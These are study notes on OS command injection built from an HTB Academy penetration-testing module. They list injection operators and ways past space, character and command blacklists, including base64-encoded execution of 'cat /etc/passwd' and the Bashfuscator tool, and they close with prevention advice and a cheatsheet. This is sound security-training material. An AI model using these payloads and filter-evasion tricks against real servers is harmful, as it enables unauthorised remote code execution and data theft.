All articles

Command Injections — Operators, Filter Bypass and Obfuscation (HTB CWES)

Built from the Command Injections module of the HTB Academy Web Penetration Tester path (HTB CWES). Revision notes: every operator, bypass and tool kept, condensed. Labs and lessons are on HTB Academy.

Command injection runs OS commands on the back-end server — straight to RCE and often the whole network. It happens when user input reaches a system-command function without sanitization. It's OWASP's #3 (Injection).

1. Where it lives

Functions that shell out, fed unsanitized input:

  • PHP: exec, system, shell_exec, passthru, popen
  • Node.js: child_process.exec, child_process.spawn
  • (every language has equivalents)
system("touch /tmp/" . $_GET['filename'] . ".pdf");   // inject via filename

2. Injection operators

Append your command to the intended one. These work regardless of language/framework/OS:

Operator Char URL-enc Runs
Semicolon ; %3b both (not Windows CMD; OK in PowerShell)
Newline \n %0a both (rarely blacklisted)
Background & %26 both
Pipe \| %7c both (shows 2nd output)
AND && %26%26 2nd only if 1st succeeds
OR \|\| %7c%7c 2nd only if 1st fails
Sub-shell ` /$()` %60 / %24%28%29 both (Linux only)

Payload = <expected input><operator><your command>, e.g. 127.0.0.1; whoami. Use || whoami (no IP) to run yours when the first command fails — a clean single-output result.

3. Detection and front-end vs back-end

Inject an operator; if the output changes, you've got it. If the form rejects you but no new request appears in DevTools (Ctrl+Shift+E → Network), the validation is front-end only — bypass it by sending the request straight to the back-end:

  • Intercept in Burp/ZAP, send to Repeater (Ctrl+R), paste your payload, URL-encode it (Ctrl+U in Burp), send.

4. Identifying the filter

If the back-end rejects you (invalid input in the output field = app filter; a separate page with your IP = WAF), find what is blocked by reducing the payload one character at a time: add just ;, then just a space, then the command — see which trips it.

5. Bypassing blacklisted spaces

\n (%0a) is usually allowed as the operator. For the space:

127.0.0.1%0a%09                 # tab (%09) instead of space
127.0.0.1%0a${IFS}              # $IFS defaults to space/tab
127.0.0.1%0a{ls,-la}            # brace expansion adds spaces between args

6. Bypassing blacklisted characters (/, ;, …)

Build the character from an environment variable substring — no literal needed:

${PATH:0:1}        # "/"  (start 0, length 1 of /usr/local/bin:…)
${LS_COLORS:10:1}  # ";"  (printenv to hunt for a var containing the char you need)

Windows: %HOMEPATH:~6,-11% → \ (CMD); $env:HOMEPATH[0] → \ (PowerShell). Character shifting (Linux): find the ASCII char before your target (man ascii) and shift it:

echo $(tr '!-}' '"-~'<<<[)     # "[" (91) → "\" (92)

7. Bypassing blacklisted commands

Break up the command word so an exact-match blacklist misses it (output is unchanged):

w'h'o'am'i        # quotes — same type, even number (Linux & Windows)
w"h"o"am"i
who$@ami          # $@ (Linux, any count)
w\ho\am\i         # backslash (Linux, any count)
who^ami           # caret ^ (Windows CMD)

Advanced obfuscation (for WAFs):

# case manipulation (Linux is case-sensitive → fold it)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")          # or  $(a="WhOaMi";printf %s "${a,,}")
# reversed command
echo 'whoami' | rev  → imaohw ;  $(rev<<<'imaohw')
# base64-encoded (great when the payload has filtered chars; <<< avoids the pipe)
echo -n 'cat /etc/passwd | grep 33' | base64
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)

PowerShell equivalents: reverse "whoami"[-1..-20] -join '' then iex "$(...)"; base64 [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('whoami')) → iex "$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('...')))" (on Linux, iconv -f utf-8 -t utf-16le | base64). Remember: never include a filtered character (e.g. replace spaces with %09) or the bypass "fails" for the wrong reason.

8. Evasion tools

  • Bashfuscator (Linux) — ./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1 (tune size/type/layers; default can emit a million chars). Test with bash -c '...'.
  • Invoke-DOSfuscation (Windows) — interactive: SET COMMAND …, encoding, pick an option. Runs on Linux via pwsh.

9. Prevention

  • Avoid shelling out — use a native function (fsockopen to ping-check in PHP) instead of system().
  • Validate — filter_var($ip, FILTER_VALIDATE_IP), preg_match, Node is-ip; front and back end.
  • Sanitize — strip everything unexpected: preg_replace('/[^A-Za-z0-9.]/', '', $ip). escapeshellcmd/escapeshellarg exist but are bypassable — don't rely on them.
  • Harden — mod_security/WAF, run as www-data (PoLP), PHP disable_functions=system,… and open_basedir, reject double-encoded/non-ASCII URLs.

10. What to carry into the CWES exam

  • Try ;, \n(%0a), &&, || in a proxied request (URL-encoded) — and watch DevTools to confirm front-end-only validation you can skip.
  • Diagnose the filter by halving the payload — know whether it's the operator, the space, or the command that's blocked, then apply the matching bypass.
  • Keep a space replacement ready (%09 / ${IFS} / {cmd,arg}) and a char-builder (${PATH:0:1} for /) — most "working" techniques fail only because a space slipped in.
  • Escalate obfuscation as needed: quotes → $@/\ → case/reverse → base64 bash<<<$(base64 -d<<<…) → Bashfuscator. The skills-assessment file manager is filtered — chain these.

Cheatsheet — Command Injection

Operators (URL-encode in the request)

;  %3b     \n %0a     &  %26     |  %7c
&& %26%26  || %7c%7c  `` %60     $() %24%28%29   (sub-shell: Linux only)
payload:  127.0.0.1; whoami      |  || whoami   (run only yours)

Space bypass

%09              # tab
${IFS}           # space/tab env var
{ls,-la}         # brace expansion

Character bypass

${PATH:0:1}            # /
${LS_COLORS:10:1}      # ;            (printenv to find chars)
echo $(tr '!-}' '"-~'<<<[)   # \      (shift)
# Windows: %HOMEPATH:~6,-11%   $env:HOMEPATH[0]

Command bypass

w'h'o'am'i   w"h"o"am"i   who$@ami   w\ho\am\i   who^ami(win)
$(tr "[A-Z]" "[a-z]"<<<"WhOaMi")          # case
$(rev<<<'imaohw')                          # reverse
bash<<<$(base64 -d<<<BASE64)               # encoded (<<< avoids | )

Tools

./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1
Invoke-DOSfuscation      # Windows (or pwsh on Linux)

Vulnerable funcs — PHP system/exec/shell_exec/passthru/popen · Node child_process.exec/spawn Prevent — native fn · filter_var FILTER_VALIDATE_IP · preg_replace '/[^A-Za-z0-9.]/' · disable_functions · www-data

Built from HTB Academy's Command Injections module — labs, lessons and the CWES exam are on HTB Academy.